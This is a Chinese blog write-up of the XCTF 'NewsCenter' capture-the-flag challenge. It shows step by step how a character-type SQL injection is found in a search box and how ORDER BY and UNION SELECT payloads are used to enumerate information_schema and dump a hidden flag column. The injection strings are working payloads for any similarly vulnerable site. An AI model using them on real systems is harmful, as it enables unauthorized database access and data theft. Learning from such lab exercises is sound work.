攻防世界----NewsCenter(字符型SQL注入,union联合查询)

以此篇记录笔者写的第一个SQL注入成功案例

1.判断存在的SQL注入点:

    搜索框输入hello,出现与之相关的新闻内容,输入hello'之后发现网页报错,提示我们可能存在字符型SQL注入,再次输入单引号 ',发现网页再次报错,输入hello'#没有报错提示。

    分析原因:是因为单引号与服务端代码中的’形成闭合,将我们输入的字符串hello包裹,服务端代码后面多出来一个‘导致语法错误,而加入#将后面的’注释掉之后不会报错,可确定为字符型SQL注入。

2.使用union联合表法注入

    在使用union之前需要明确:union前面查询语句查询的元素与后面查询语句查询的元素要数量上要一样,这一点可以使用order by实现(原理:order by根据前面查询内容的属性对查询数据进行分类,order by 后面的内容可以少于前面查询的属性数,但是不能多于查询的属性数)

因此我们输入

hello' order by 1#         //无报错
hello' order by 1,2#       //无报错
hello' order by 1,2,3#     //无报错
hello' order by 1,2,3,4#   //报错

 由此可以确定union后面需要跟三个元素,因此我们输入

hello' union select 1,2,3#

网页回显:

 说明union后的第2、3列被显示出来,因此我们可以利用这两列获取当前数据库、当前数据库所有列表名、列表所有字段名

1)获取当前数据库名称

hello' union select 1,database(),3#

回显:

得到当前数据库名news

2)获取表名

hello' union select 1,2,table_name from information_schema.tables where table_schema=database()#

 回显:

得到表名news、secret_table

3)获取字段名 

hello' union select 1,2,column_name from information_schema.columns where table_name='secret_table' #

回显:

 得到字段名id、fl4g

很明显我们需要得到news数据库下的secret_table表的fl4g字段

在搜索框输入

hello' union select 1,id,fl4g from news.secret_table #

得到flag:QCTF{sq1_inJec7ion_ezzz}

 

  • 7
    点赞
  • 8
    收藏
    觉得还不错? 一键收藏
  • 3
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 3
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值